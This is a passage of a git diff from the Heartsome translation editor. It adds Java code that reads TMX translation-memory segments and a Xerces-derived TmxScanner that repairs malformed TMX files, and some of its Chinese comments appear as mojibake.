(curLang.equalsIgnoreCase(srcLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + srcText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + }else if (curLang.equalsIgnoreCase(tgtLang)) { + vn.push(); + if (vn.toElement(VTDNav.FIRST_CHILD)) { + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + }else { + vn.push(); + while(vn.toElement(VTDNav.NEXT_SIBLING)){ + nodeName = vn.toRawString(vn.getCurrentIndex()); + if (nodeName.equalsIgnoreCase(SEGName)) { + tgtText = vu.getElementContent(); + break; + } + } + vn.pop(); + } + } + vn.pop(); + } + } + } + } + } + vn.pop(); + + // 判断æºæ–‡è¯‘文是å¦ä¸ºç©º , 如果为空,设为空值,以防é¢åŽè°ƒç”¨è¯¥æ–¹æ³•çš„代ç å‡ºçŽ°ã€€ç©ºæŒ‡é’ˆå¼‚常。 + // 处ç†ã€€ã€€ + if (srcText == null) { + srcText = ""; + } + srcText = TextUtil.trimString(srcText); + if (tgtText == null) { + tgtText = ""; + } + tgtText = TextUtil.trimString(tgtText); + if (ignoreCase) { + srcText = srcText.toLowerCase(); + tgtText = tgtText.toLowerCase(); + } + + + srcSeg = new TmxSegement(); + tgtSeg = new TmxSegement(); + if (ignoreTag) { + srcText = parser.getTmxPureText(srcText); + srcSeg.setPureText(srcText); + tgtText = parser.getTmxPureText(tgtText); + tgtSeg.setPureText(tgtText); + }else { + srcSeg.setFullText(srcText); + tgtSeg.setFullText(tgtText); + } + tuDataBean.setSource(srcSeg); + tuDataBean.setTarget(tgtSeg); + + allTuDataBean.add(tuDataBean); + } + vn.pop(); + + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.worked(1); + } + return allTuDataBean; + } + + public static void main(String[] args) throws ParseException { + Set haseSet = new HashSet(); + haseSet.add("1"); + haseSet.add("3"); + haseSet.add("2"); + haseSet.add("5"); + + + + String test1 = "this is a test.as asdf asdf wf dasfewf asdf ..asd rwt asv drst era qa ."; +// String test2 = "this is a test...e fughjfs qrew juzb dfhj gh fewfqw ds dsfg dsfv a.as ear fg cv asdf gasd"; + List testList = new ArrayList(); + for (int i = 0; i < 1000000; i++) { + testList.add(test1); + } + long time1 = System.currentTimeMillis(); + List testLinkedList = new ArrayList(); + + for (int i = 0; i < testLinkedList.size(); i++) { + testLinkedList.add(testList.get(i)); + } + System.out.println(System.currentTimeMillis() - time1); + + } + + + +} diff --git a/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxScanner.java b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxScanner.java new file mode 100644 index 0000000..03f5281 --- /dev/null +++ b/te/net.heartsome.cat.te.core/src/net/heartsome/cat/te/core/utils/TmxScanner.java @@ -0,0 +1,1876 @@ +package net.heartsome.cat.te.core.utils; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.text.MessageFormat; +import java.util.HashSet; +import java.util.LinkedList; +import java.util.Set; +import java.util.Stack; + +import net.heartsome.cat.common.bean.TmxHeader; +import net.heartsome.cat.common.util.FileEncodingDetector; +import net.heartsome.cat.te.core.resource.Messages; + +import org.apache.xerces.util.XMLAttributesImpl; +import org.apache.xerces.util.XMLChar; +import org.apache.xerces.util.XMLStringBuffer; +import org.apache.xerces.util.XMLSymbols; +import org.apache.xerces.xni.QName; +import org.apache.xerces.xni.XMLString; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.ProgressBar; + +public class TmxScanner { + + LinkedList errorFIFO = new LinkedList(); + ErrorCode errorCode = new ErrorCode(); + /** Scanner state: start of markup. */ + protected static final int SCANNER_STATE_START_OF_MARKUP = 1; + + /** Scanner state: comment. */ + protected static final int SCANNER_STATE_COMMENT = 2; + + /** Scanner state: processing instruction. */ + protected static final int SCANNER_STATE_PI = 3; + + /** Scanner state: DOCTYPE. */ + protected static final int SCANNER_STATE_DOCTYPE = 4; + + /** Scanner state: root element. */ + protected static final int SCANNER_STATE_ROOT_ELEMENT = 6; + + /** Scanner state: content. */ + protected static final int SCANNER_STATE_CONTENT = 7; + + /** Scanner state: reference. */ + protected static final int SCANNER_STATE_REFERENCE = 8; + + /** Scanner state: end of input. */ + protected static final int SCANNER_STATE_END_OF_INPUT = 13; + + /** Scanner state: terminated. */ + protected static final int SCANNER_STATE_TERMINATED = 14; + + /** Scanner state: CDATA section. */ + protected static final int SCANNER_STATE_CDATA = 15; + + /** Scanner state: Text declaration. */ + protected static final int SCANNER_STATE_TEXT_DECL = 16; + private int scanState = 0; + TmxDispatcher dispatcher = new TmxDispatcher(); + TmxEntityScanner entityScanner = null; + + private boolean complete; + private XMLStringBuffer stringBuffer = new XMLStringBuffer(); + + private XMLString fTempString = new XMLString(); + + private ElementStack fElementStack = new ElementStack(); + + private QName fElementQName = new QName(); + + private int fEntityDepth; + + private XMLString fString = new XMLString(); + + private XMLStringBuffer fStringBuffer = new XMLStringBuffer(); + + private QName fCurrentElement; + + private XMLAttributesImpl fAttributes = new XMLAttributesImpl(); + + private QName fAttributeQName = new QName(); + + private XMLStringBuffer fStringBuffer2 = new XMLStringBuffer(); + + private boolean fScanningAttribute; + + private XMLStringBuffer fStringBuffer3 = new XMLStringBuffer(); + + private boolean fNotifyCharRefs; + + private XMLString fTempString2 = new XMLString(); + + private boolean fIsEntityDeclaredVC; + + private String[] pseudoAttributeValues = new String[3]; + + String tmpFilePath = null; + BufferedWriter writer; + + static boolean debug = false; + + boolean isGetContent = true; + + Stack stack = new Stack(); + + private int wDepth = -1; + + Stack scope = new Stack(); + + boolean reportError = false; + private ProgressBar progressBar; + + double total = 1; + + private String encoding = null; + + public TmxScanner(String tmxlocation) { + + try { + File file = new File(tmxlocation); + encoding = FileEncodingDetector.detectFileEncoding(file); + char[] b = new char[1024 * 8]; + InputStreamReader reader = new InputStreamReader(new FileInputStream(file), encoding); + try { + int count = 0; + while ((count = reader.read(b)) > 0) { + total += count; + } + } catch (Exception e) { + try { + reader.close(); + } catch (IOException e1) {} + } + + tmpFilePath = file.getAbsolutePath(); + tmpFilePath = tmpFilePath.substring(0, tmpFilePath.length() - 4) + "_fixed.tmx"; + + if (debug) { + tmpFilePath += ".xml"; + } + + writer = new BufferedWriter(new FileWriter(new File(tmpFilePath))); + } catch (IOException e1) { + e1.printStackTrace(); + } + + try { + entityScanner = new TmxEntityScanner(tmxlocation, encoding); + } catch (FileNotFoundException e) { + e.printStackTrace(); + } + setScannerState(SCANNER_STATE_TEXT_DECL); + } + + public static void main(String[] args) throws Exception { + // TmxScanner scanner = new TmxScanner("res/abc.xml"); + TmxScanner scanner = new TmxScanner("C:\\Users\\Administrator\\Desktop\\新建文件夹\\i1.tmx"); + while (scanner.scanTmxDocument() == null); + } + + public String scanTmxDocument() throws IOException { + + int wored = 0; + int tmp = 1; + errorFIFO.clear(); + while (!(complete = entityScanner.hasFinish())) { + if (reportError) { + printErrorDes(errorFIFO); + reportError = false; + break; + } + + tmp = (int) ((entityScanner.getHasLoad() / total) * 100); + if (tmp > wored) { + final int d = tmp - wored; + Display.getDefault().asyncExec(new Runnable() { + @Override + public void run() { + progressBar.setSelection(progressBar.getSelection() + d); + } + }); + wored = tmp; + } + dispatcher.dispatch(); + } + + if (complete) { + try { + writer.flush(); + writer.close(); + } catch (Exception e) { + // do nothing + } + return tmpFilePath; + } else { + return null; + } + } + + static void printErrorDes(LinkedList errorFIFO) { + if (!debug) { + return; + } + for (ErrorDescription errordes : errorFIFO) { + StringBuilder error = new StringBuilder(); + error.append("[ line : ").append(errordes.lineNumber).append(", offset : ").append(errordes.columnNumber) + .append(" ]").append(errordes.description); + System.err.println(error.toString()); + } + } + + static void printState(int i) { + if (!debug) { + return; + } + switch (i) { + case SCANNER_STATE_START_OF_MARKUP: + System.out.println("markup"); + break; + case SCANNER_STATE_COMMENT: + System.out.println("comment"); + break; + + case SCANNER_STATE_DOCTYPE: + System.out.println("doctype"); + break; + + case SCANNER_STATE_ROOT_ELEMENT: + System.out.println("root element"); + break; + + case SCANNER_STATE_CONTENT: + System.out.println("content"); + break; + + case SCANNER_STATE_REFERENCE: + System.out.println("reference"); + break; + + case SCANNER_STATE_END_OF_INPUT: + System.out.println("end of input"); + break; + + case SCANNER_STATE_TERMINATED: + System.out.println("terminated"); + break; + + case SCANNER_STATE_CDATA: + System.out.println("cdata"); + break; + + case SCANNER_STATE_TEXT_DECL: + System.out.println("text decl"); + break; + } + } + + void scanXMLDeclOrTextDecl(boolean scanningTextDecl) throws IOException { + scanningTextDecl = false; + boolean ok = true; + // pseudo-attribute values + String version = null; + String encoding = null; + String standalone = null; + + // scan pseudo-attributes + final int STATE_VERSION = 0; + final int STATE_ENCODING = 1; + final int STATE_STANDALONE = 2; + final int STATE_DONE = 3; + int state = STATE_VERSION; + + boolean dataFoundForTarget = false; + boolean sawSpace = entityScanner.skipDeclSpaces(); + // since pseudoattributes are *not* attributes, + // their quotes don't need to be preserved in external parameter entities. + // the XMLEntityScanner#scanLiteral method will continue to + // emit -1 in such cases when it finds a quote; this is + // fine for other methods that parse scanned entities, + // but not for the scanning of pseudoattributes. So, + // temporarily, we must mark the current entity as not being "literal" + // XMLEntityManager.ScannedEntity currEnt = fEntityManager.getCurrentEntity(); + // currEnt.literal = false; + while (entityScanner.peekChar() != '?') { + dataFoundForTarget = true; + String name = scanPseudoAttribute(scanningTextDecl, fString); + switch (state) { + case STATE_VERSION: { + if (name.equals("version")) { + if (!sawSpace) { + ok = false; + error("not found space"); + } + version = fString.toString(); + state = STATE_ENCODING; + if (!versionSupported(version)) { + ok = false; + error("version not supported"); + } + } else if (name.equals("encoding")) { + if (!scanningTextDecl) { + ok = false; + error("not found version info"); + } + if (!sawSpace) { + ok = false; + error("not found space"); + } + encoding = fString.toString(); + state = scanningTextDecl ? STATE_DONE : STATE_STANDALONE; + } else { + if (scanningTextDecl) { + ok = false; + error("not found encoding decl"); + } else { + ok = false; + error("not found version decl"); + } + } + break; + } + case STATE_ENCODING: { + if (name.equals("encoding")) { + if (!sawSpace) { + error("not found space");// + } + encoding = fString.toString(); + state = scanningTextDecl ? STATE_DONE : STATE_STANDALONE; + // TODO: check encoding name; set encoding on + // entity scanner + } else if (!scanningTextDecl && name.equals("standalone")) { + if (!sawSpace) { + error("not found space");// + } + standalone = fString.toString(); + state = STATE_DONE; + if (!standalone.equals("yes") && !standalone.equals("no")) { + error("invalid vaule, needs 'yes' or 'no'");// + } + } else { + error("not found encoding decl"); + } + break; + } + case STATE_STANDALONE: { + if (name.equals("standalone")) { + if (!sawSpace) { + error("not found space");// + } + standalone = fString.toString(); + state = STATE_DONE; + if (!standalone.equals("yes") && !standalone.equals("no")) { + + error("invalid vaule, needs 'yes' or 'no'");// + } + } else { + error("not found encoding decl"); + } + break; + } + default: { + error("not found more pseudo attrbuites"); + ok = false; + } + } + sawSpace = entityScanner.skipDeclSpaces(); + } + // restore original literal value + // if (currLiteral) + // currEnt.literal = true; + // REVISIT: should we remove this error reporting? + if (scanningTextDecl && state != STATE_DONE) { + error("not found more pseudo attrbuites"); + } + + // If there is no data in the xml or text decl then we fail to report error + // for version or encoding info above. + if (scanningTextDecl) { + if (!dataFoundForTarget && encoding == null) { + error("not found more pseudo attrbuites"); + } + } else { + if (!dataFoundForTarget && version == null) { + error("not found more pseudo attrbuites"); + ok = false; + } + } + + // end + if (!entityScanner.skipChar('?')) { + ok = false; + error("not found end flag '?'"); + } + if (!entityScanner.skipChar('>')) { + ok = false; + error("not found end flag '>'"); + } + + // fill in return array + pseudoAttributeValues[0] = version; + pseudoAttributeValues[1] = encoding; + pseudoAttributeValues[2] = standalone; + + writer.append(""); + } + + void scanPI() throws IOException { + String target = null; + target = entityScanner.scanName(); + if (target == null) { + // TODO + // reportFatalError("PITargetRequired", null); + } + + // scan data + scanPIData(target, fString); + } + + // è‡ªç»“æŸ ? true : false; + boolean scanStartElement() throws IOException { + + // scan name + entityScanner.scanQName(fElementQName); + + fCurrentElement = fElementQName; + + if (!scope.isEmpty()) { + if (scope.lastElement().equals("note") || scope.lastElement().equals("prop")) { + appendCharacter(encodingCharacter('<')); + appendCharacter(fElementQName.localpart == null ? "" : fElementQName.localpart); + setScannerState(SCANNER_STATE_CONTENT); + return false; + } + } + + // scan attributes + boolean empty = false; + fAttributes.removeAllAttributes(); + do { + boolean sawSpace = entityScanner.skipSpaces(); + int c = entityScanner.peekChar(); + if (c == '>') { + entityScanner.scanChar(); + break; + } else if (c == '/') { + entityScanner.scanChar(); + if (!entityScanner.skipChar('>')) { + // TODO + } + empty = true; + break; + } else if (!XMLChar.isNameStart(c) || !sawSpace) { + // Second chance. Check if this character is a high surrogate of a valid name start character. + // if (!isValidNameStartHighSurrogate(c) || !sawSpace) { + // } + error("illegal char '&#" + Integer.toHexString(c) + "'"); + appendCharacter(encodingCharacter(c)); + setScannerState(SCANNER_STATE_CONTENT); + return false; + } + // get the attribute + scanAttribute(fAttributes); + } while (true); + + // push element stack + fCurrentElement = fElementStack.pushElement(fElementQName); + + // if (fElementQName.rawname != null && !fElementQName.rawname.isEmpty()) { + // writer.write('<'); + // writer.write(fElementQName.rawname); + // QName qn = new QName(); + // + // for (int i = 0; i < fAttributes.getLength(); i++) { + // fAttributes.getName(i, qn); + // writer.write(' '); + // writer.write(qn.rawname); + // writer.write("="); + // writer.write("\""); + // writer.write(fAttributes.getValue(i)); + // writer.write("\""); + // } + // if (empty) { + // // è‡ªåŠ å‡ + // writer.write("/>"); + // fElementStack.popElement(new QName()); + // stack.pop(); + // } else {//有 content + // writer.write('>'); + // writer.flush(); + // } + // } + + return empty; + } + + private String encodingCharacter(int c) { + switch (c) { + case '<': + return "<"; + case '>': + return ">"; + case '&': + return "&"; + + // 似乎并ä¸å½±å“?? + // case '\'': + // return "'"; + // case '\"': + // return """; + } + return String.valueOf((char) c); + } + + int scanEndElement() throws IOException { + + if (scope.isEmpty()) { + return 0; + } + + String last = ""; + if (!scope.isEmpty()) { + last = scope.lastElement(); + if (!entityScanner.skipString(last)) {// ä¸æŽ¥å—? + QName tmp = new QName(); + entityScanner.scanQName(tmp); + if (isInvalidTag(tmp.localpart)) {// 规范ä¸æŽ¥å— + errorCode.append(""); + appendContent(errorCode.toString()); + appendEndElem(tmp.rawname); + return 0; + } else { + // what to do? + } + return 0; + } + } + + // fElementStack.popElement(fElementQName); + + // end + if (entityScanner.skipSpaces()) { + errorCode.append(" "); + } + + if (!entityScanner.skipChar('>')) { + return 0; + } + appendEndElem(scope.pop()); + errorCode.clear();// æ¸…é™¤é”™è¯¯æ•°æ® + return 0; + } + + // int scanEndElement() throws IOException { + // + // String last = scope.pop(); + // + // if (!entityScanner.skipString(fElementQName.rawname)) { + // error("not found end tag");// TODO + // } + // + // fElementStack.popElement(fElementQName); + // if (fElementQName.rawname.equals("/tuv")) { + // System.out.println(); + // } + // + // // end + // entityScanner.skipSpaces(); + // if (!entityScanner.skipChar('>')) { + // error("not found end tag");// TODO + // } + // fLastMarkupDepth = fMarkupDepth; + // fMarkupDepth--; + // // // we have increased the depth for two markup "<" characters + // // fMarkupDepth--; + // // + // // // check that this element was opened in the same entity + // // if (fMarkupDepth < fEntityStack[fEntityDepth - 1]) { + // // // TODO + // // // reportFatalError("ElementEntityMismatch", + // // // new Object[]{fCurrentElement.rawname}); + // // } + // // TODO + // if (fElementQName.rawname != null && !fElementQName.rawname.isEmpty()) { + // writer.write(""); + // } + // return 0; + // } + + private boolean isLogicalTags(String parent, String localpart, boolean rigorous) { + if (rigorous) { + if (parent.equals("note") || parent.equals("prop")) { + return false; + } + if (localpart.equals("note") || localpart.equals("prop")) { + return parent.equals("tu") || parent.equals("tuv") || parent.equals("header"); + } + return testDepth(parent) < testDepth(localpart); + } else { + return testDepth(parent) < testDepth(localpart); + } + + } + + void scanCDATASection(boolean complete2) { + + } + + int scanContent() throws IOException { + + XMLString content = fTempString; + int c = entityScanner.scanContent(content); + if (c == '\r') { + // happens when there is the character reference + entityScanner.scanChar(); + stringBuffer.clear(); + stringBuffer.append(content); + stringBuffer.append((char) c); + content = stringBuffer; + c = -1; + } + + String str = new String(content.ch, content.offset, content.length); + if (str.trim().isEmpty()) { + appendContent(str); + } else { + if (scope.isEmpty()) { + return str.charAt(0); + } + String parent = scope.lastElement(); + if (parent.equals("note") || parent.equals("prop") || parent.equals("seg")) { + appendContent(str); + } else { + errorCode.append(str);// å­˜å‚¨é”™è¯¯ä»£ç  + errorCode.setPosition(entityScanner.getLineNumber(), entityScanner.getColumnNumber()); + errorCode.setDescription(MessageFormat.format( + Messages.getString("tmxeditor.tmxFileValidator.autofix.errorcode"), parent, str)); + } + } + + if (c == ']' && fTempString.length == 0) { + stringBuffer.clear(); + stringBuffer.append((char) entityScanner.scanChar()); + // remember where we are in case we get an endEntity before we + // could flush the buffer out - this happens when we're parsing an + // entity which ends with a ] + // fInScanContent = true; + // + // We work on a single character basis to handle cases such as: + // ']]]>' which we might otherwise miss. + // + if (entityScanner.skipChar(']')) { + stringBuffer.append(']'); + while (entityScanner.skipChar(']')) { + stringBuffer.append(']'); + } + if (entityScanner.skipChar('>')) { + + // TODO + // reportFatalError("CDEndInContent", null); + } + } + // TODO + // fInScanContent = false; + c = -1; + } + return c; + } + + void scanComment() { + + } + + private void scanPIData(String target, XMLString xs) throws IOException { + + // check target + if (target.length() == 3) { + char c0 = Character.toLowerCase(target.charAt(0)); + char c1 = Character.toLowerCase(target.charAt(1)); + char c2 = Character.toLowerCase(target.charAt(2)); + if (c0 == 'x' && c1 == 'm' && c2 == 'l') { + // TODO + // reportFatalError("ReservedPITarget", null); + } + } + + // spaces + if (!entityScanner.skipSpaces()) { + if (entityScanner.skipString("?>")) { + // we found the end, there is no data + xs.clear(); + return; + } else { + if (entityScanner.peekChar() == ':') { + entityScanner.scanChar(); + XMLStringBuffer colonName = new XMLStringBuffer(target); + colonName.append(':'); + String str = entityScanner.scanName(); + if (str != null) + colonName.append(str); + // TODO + // reportFatalError("ColonNotLegalWithNS", new Object[] {colonName.toString()}); + entityScanner.skipSpaces(); + } else { + // TODO + // if there is data there should be some space + // reportFatalError("SpaceRequiredInPI", null); + } + } + } + + fStringBuffer.clear(); + // data + if (entityScanner.scanData("?>", fStringBuffer)) { + do { + int c = entityScanner.peekChar(); + if (c != -1) { + if (XMLChar.isHighSurrogate(c)) { + scanSurrogates(fStringBuffer); + } else if (XMLChar.isInvalid(c)) { + // reportFatalError("InvalidCharInPI", + // new Object[]{Integer.toHexString(c)}); + entityScanner.scanChar(); + } + } + } while (entityScanner.scanData("?>", fStringBuffer)); + } + xs.setValues(fStringBuffer); + } + + private void scanAttribute(XMLAttributesImpl attributes) throws IOException { + + // attribute name + entityScanner.scanQName(fAttributeQName); + + // equals + entityScanner.skipSpaces(); + if (!entityScanner.skipChar('=')) { + error("not found '='"); + } + entityScanner.skipSpaces(); + + // content + int oldLen = attributes.getLength(); + int attrIndex = attributes.addAttribute(fAttributeQName, XMLSymbols.fCDATASymbol, null); + + if (oldLen == attributes.getLength()) { + error("Multiple attr"); + } + + // Scan attribute value and return true if the un-normalized and normalized value are the same + boolean isSameNormalizedAttr = scanAttributeValue(fTempString, fTempString2, fAttributeQName.rawname, + fIsEntityDeclaredVC, fCurrentElement.rawname, null); + + attributes.setValue(attrIndex, fTempString.toString()); + // If the non-normalized and normalized value are the same, avoid creating a new string. + if (!isSameNormalizedAttr) { + attributes.setNonNormalizedValue(attrIndex, fTempString2.toString()); + } + attributes.setSpecified(attrIndex, true); + } + + private void tryToFindAttrs(XMLAttributesImpl attributes, XMLStringBuffer buf) throws IOException { + TmxEntityScanner scanner = new TmxEntityScanner(buf); + while (!scanner.hasFinish()) { + scanner.skipSpaces(); + // attribute name + scanner.scanQName(fAttributeQName); + // equals + scanner.skipSpaces(); + if (!scanner.skipChar('=')) { + error("not found '='"); + return; + } + int attrIndex = attributes.addAttribute(fAttributeQName, XMLSymbols.fCDATASymbol, null); + boolean isSameNormalizedAttr = scanAttributeValue(fTempString, fTempString2, fAttributeQName.rawname, + fIsEntityDeclaredVC, null, scanner); + attributes.setValue(attrIndex, fTempString.toString()); + if (!isSameNormalizedAttr) { + attributes.setNonNormalizedValue(attrIndex, fTempString2.toString()); + } + attributes.setSpecified(attrIndex, true); + } + } + + private boolean scanAttributeValue(XMLString value, XMLString nonNormalizedValue, String atName, + boolean checkEntities, String eleName, TmxEntityScanner scanner) throws IOException { + // set default + if (scanner == null) { + scanner = entityScanner; + } + // quote + int quote = scanner.peekChar(); + if (quote != '\'' && quote != '"') { + error("not found quote"); + } + + scanner.scanChar(); + int entityDepth = fEntityDepth; + + int c = scanner.scanLiteral(quote, value); + + int fromIndex = 0; + if (c == quote && (fromIndex = isUnchangedByNormalization(value)) == -1) { + /** Both the non-normalized and normalized attribute values are equal. **/ + nonNormalizedValue.setValues(value); + int cquote = scanner.scanChar(); + if (cquote != quote) { + error("not found close quote"); + } + return true; + } + + fStringBuffer2.clear(); + fStringBuffer2.append(value); + normalizeWhitespace(value, fromIndex); + + if (c != quote) { + fScanningAttribute = true; + fStringBuffer.clear(); + do { + fStringBuffer.append(value); + if (c == '&') { + scanner.skipChar('&'); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append('&'); + } + if (scanner.skipChar('#')) { + if (entityDepth == fEntityDepth) { + fStringBuffer2.append('#'); + } + int ch = scanCharReferenceValue(fStringBuffer, fStringBuffer2); + if (ch != -1) { + } + } else { + String entityName = scanner.scanName(); + if (entityName == null) { + error("not found reference des"); + // reportFatalError("NameRequiredInReference", null); + } else if (entityDepth == fEntityDepth) { + fStringBuffer2.append(entityName); + } + if (!scanner.skipChar(';')) { + error("not found thie reference end ';'"); + } else if (entityDepth == fEntityDepth) { + fStringBuffer2.append(';'); + } + // if (entityName == fAmpSymbol) { + if (entityName.equals("amp")) { + fStringBuffer.append('&'); + } + // else if (entityName == fAposSymbol) { + else if (entityName.equals("apos")) { + fStringBuffer.append('\''); + } else if (entityName.equals("lt")) { + fStringBuffer.append('<'); + } else if (entityName.equals("gt")) { + fStringBuffer.append('>'); + } else if (entityName.equals("quot")) { + fStringBuffer.append('"'); + } else { + // if (fEntityManager.isExternalEntity(entityName)) { + // reportFatalError("ReferenceToExternalEntity", + // new Object[] { entityName }); + // } + // else { + // if (!fEntityManager.isDeclaredEntity(entityName)) { + // //WFC & VC: Entity Declared + // if (checkEntities) { + // if (fValidation) { + // fErrorReporter.reportError(XMLMessageFormatter.XML_DOMAIN, + // "EntityNotDeclared", + // new Object[]{entityName}, + // XMLErrorReporter.SEVERITY_ERROR); + // } + // } + // else { + // reportFatalError("EntityNotDeclared", + // new Object[]{entityName}); + // } + // } + // fEntityManager.startEntity(entityName, true); + // } + } + } + } else if (c == '<') { + error("found '<' when scan attr value"); + scanner.scanChar(); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append((char) c); + } + } else if (c == '%' || c == ']') { + scanner.scanChar(); + fStringBuffer.append((char) c); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append((char) c); + } + } else if (c == '\n' || c == '\r') { + scanner.scanChar(); + fStringBuffer.append(' '); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append('\n'); + } + } else if (c != -1 && XMLChar.isHighSurrogate(c)) { + fStringBuffer3.clear(); + if (scanSurrogates(fStringBuffer3)) { + fStringBuffer.append(fStringBuffer3); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append(fStringBuffer3); + } + } + } else if (c != -1 && XMLChar.isValid(c)) { + error("found invalid char when scan attr value '&#" + Integer.toHexString(c) + "'"); + scanner.scanChar(); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append((char) c); + } + } + c = scanner.scanLiteral(quote, value); + if (entityDepth == fEntityDepth) { + fStringBuffer2.append(value); + } + normalizeWhitespace(value); + } while (c != quote || entityDepth != fEntityDepth); + fStringBuffer.append(value); + value.setValues(fStringBuffer); + fScanningAttribute = false; + } + nonNormalizedValue.setValues(fStringBuffer2); + + // quote + int cquote = scanner.scanChar(); + if (cquote != quote) { + error("not found close quote"); + } + return nonNormalizedValue.equals(value.ch, value.offset, value.length); + } + + private void normalizeWhitespace(XMLString value, int fromIndex) { + int end = value.offset + value.length; + for (int i = value.offset + fromIndex; i < end; ++i) { + int c = value.ch[i]; + // Performance: For XML 1.0 documents take advantage of + // the fact that the only legal characters below 0x20 + // are 0x09 (TAB), 0x0A (LF) and 0x0D (CR). Since we've + // already determined the well-formedness of these + // characters it is sufficient (and safe) to check + // against 0x20. -- mrglavas + if (c < 0x20) { + value.ch[i] = ' '; + } + } + } + + private int isUnchangedByNormalization(XMLString value) { + int end = value.offset + value.length; + for (int i = value.offset; i < end; ++i) { + int c = value.ch[i]; + // Performance: For XML 1.0 documents take advantage of + // the fact that the only legal characters below 0x20 + // are 0x09 (TAB), 0x0A (LF) and 0x0D (CR). Since we've + // already determined the well-formedness of these + // characters it is sufficient (and safe) to check + // against 0x20. -- mrglavas + if (c < 0x20) { + return i - value.offset; + } + } + return -1; + } + + private int scanCharReferenceValue(XMLStringBuffer buf, XMLStringBuffer buf2) throws IOException { + // scan hexadecimal value + boolean hex = false; + if (entityScanner.skipChar('x')) { + if (buf2 != null) { + buf2.append('x'); + } + hex = true; + fStringBuffer3.clear(); + boolean digit = true; + + int c = entityScanner.peekChar(); + digit = (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + + do { + c = entityScanner.peekChar(); + digit = (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') || (c >= 'A' && c <= 'F'); + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + } + } while (digit); + } else { + return -1; + } + } + + // scan decimal value + else { + fStringBuffer3.clear(); + boolean digit = true; + + int c = entityScanner.peekChar(); + digit = c >= '0' && c <= '9'; + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + + do { + c = entityScanner.peekChar(); + digit = c >= '0' && c <= '9'; + if (digit) { + if (buf2 != null) { + buf2.append((char) c); + } + entityScanner.scanChar(); + fStringBuffer3.append((char) c); + } + } while (digit); + } else { + return -1; + } + } + + // end + if (!entityScanner.skipChar(';')) { + return -1; + } + if (buf2 != null) { + buf2.append(';'); + } + + // convert string to number + int value = -1; + try { + value = Integer.parseInt(fStringBuffer3.toString(), hex ? 16 : 10); + + // character reference must be a valid XML character + if (XMLChar.isInvalid(value)) { + return -1; + } + } catch (NumberFormatException e) { + return -1; + } + + // append corresponding chars to the given buffer + if (!XMLChar.isSupplemental(value)) { + buf.append((char) value); + } else { + // character is supplemental, split it into surrogate chars + buf.append(XMLChar.highSurrogate(value)); + buf.append(XMLChar.lowSurrogate(value)); + } + + // char refs notification code + if (fNotifyCharRefs && value != -1) { + String literal = "#" + (hex ? "x" : "") + fStringBuffer3.toString(); + if (!fScanningAttribute) { + // fCharRefLiteral = literal; + } + } + + return value; + } + + private void normalizeWhitespace(XMLString value) { + int end = value.offset + value.length; + for (int i = value.offset; i < end; ++i) { + int c = value.ch[i]; + // Performance: For XML 1.0 documents take advantage of + // the fact that the only legal characters below 0x20 + // are 0x09 (TAB), 0x0A (LF) and 0x0D (CR). Since we've + // already determined the well-formedness of these + // characters it is sufficient (and safe) to check + // against 0x20. -- mrglavas + if (c < 0x20) { + value.ch[i] = ' '; + } + } + } + + private boolean scanRootElementHook() { + return false; + } + + private void scanEntityReference() throws IOException { + + // name + String name = entityScanner.scanName(); + if (name == null) { + appendCharacter("&"); + return; + } + // 符åˆæ ‡å‡† + if (name.equals("amp") || name.equals("lt") || name.equals("gt") || name.equals("apos") || name.equals("quot")) { + if (entityScanner.skipChar(';')) { + appendCharacter("&"); + appendCharacter(name); + appendCharacter(";"); + } + } else { + appendCharacter("&"); + appendCharacter(name); + } + } + + private void scanCharReference() throws IOException { + fStringBuffer2.clear(); + boolean hex = entityScanner.peekChar() == 'x'; + int ch = scanCharReferenceValue(fStringBuffer2, null); + if (ch != -1) { + int c = Integer.valueOf(fStringBuffer3.toString(), hex ? 16 : 10); + if (c < 0x20 && !XMLChar.isSpace(c)) { + return; + } + if (hex) {// + appendCharacter("&x"); + } else { + appendCharacter("&"); + } + appendCharacter(fStringBuffer3.toString()); + appendCharacter(";"); + } else { + appendCharacter("&#"); + appendCharacter(fStringBuffer3.toString()); + } + } + + private boolean scanSurrogates(XMLStringBuffer buf) throws IOException { + int high = entityScanner.scanChar(); + int low = entityScanner.peekChar(); + if (!XMLChar.isLowSurrogate(low)) { + error("invalid char in content"); + return false; + } + entityScanner.scanChar(); + + int c = XMLChar.supplemental((char) high, (char) low); + + // supplemental character must be a valid XML character + if (XMLChar.isInvalid(c)) { + error("invalid char in content"); + return false; + } + + // fill in the buffer + buf.append((char) high); + buf.append((char) low); + + return true; + } + + private void setScannerState(int newState) { + scanState = newState; + } + + class ElementStack { + + /** The stack data. */ + protected QName[] fElements; + + /** The size of the stack. */ + protected int fSize; + + /** Default constructor. */ + public ElementStack() { + fElements = new 